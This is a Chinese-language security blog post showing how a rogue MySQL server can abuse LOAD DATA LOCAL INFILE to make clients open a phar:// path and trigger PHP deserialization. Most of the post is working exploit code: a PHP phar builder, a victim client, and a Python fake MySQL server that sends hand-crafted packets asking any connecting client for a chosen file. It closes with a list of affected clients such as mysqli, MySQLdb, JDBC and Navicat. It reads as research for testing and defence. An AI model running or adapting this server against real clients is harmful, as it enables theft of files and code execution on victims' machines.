Learning Man's Blog

Abusing MySQL clients RCE

字数统计: 375阅读时长: 2 min
2020/01/16

With Phar://

关键在于实现中

info->filename = filename;
info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);

if (info->fd == NULL) {
    snprintf((char *)info->error_msg, sizeof(info->error_msg), "Can't find file '%-.64s'.", filename);
    info->error_no = MYSQLND_EE_FILENOTFOUND;
    DBG_RETURN(1);
}

调用了php_stream_open_wrapper_ex,而此函数是可以用来触发phar://反序列化

实验

// phar file
<?php
class Test {
    public $s = '';
    public function __wakeup () {
        echo "~Pwned~";
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

执行此脚本生成phar.phar

// test.php
<?php
class Test {
    public $s = '';
    public function __wakeup () {
        echo "~Pwned~";
    }
}

$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '10.211.55.31', 'root', '123456', 'test');
$p = mysqli_query($m, 'select 1;');

将 test.php 与 phar.phar 放置一起或修改下面 filename 为绝对路径

# mysql

import socket

filename='phar://./phar.phar'

a='4a0000000a352e372e3235000a00000041787403090e1e2500ffff080200ffc11500000000000000000000501d1d2e606244016f3f0e65006d7973716c5f6e61746976655f70617373776f726400'.decode('hex')
b='0700000200000002000000'.decode('hex')
c=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename

HOST = '0.0.0.0'
PORT = 3306

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.bind((HOST, PORT))
s.listen(1)
conn = None

print 'Server start at: %s:%s' %(HOST, PORT)
print 'wait for connection...'

while True:
    try:
        if conn is None:
            conn, addr = s.accept()
            print 'Connected by ', addr
            conn.send(a)
            conn.recv(1024).encode('hex')
            conn.send(b)
            conn.recv(1024).encode('hex')
            conn.send(c)
            print '--------------- %s ----------------' % filename
            print conn.recv(2048)[4:]
            conn.close()
            conn = None
    except Exception, e:
        # print 'waiting...'
        conn = None

-w938

2020-01-16 14.15.12

范围

  • mysql client (pwned)
  • php mysqli (pwned,fixed by 7.3.4)
  • php pdo (默认禁用)
  • python MySQLdb (pwned)
  • python mysqlclient (pwned)
  • java JDBC Driver (pwned,部分条件下默认禁用)
  • navicat (pwned)

更多详细范围可见 https://paper.seebug.org/1112/#_3

CATALOG
  1. 1. With Phar://
    1. 1.1. 实验
  2. 2. 范围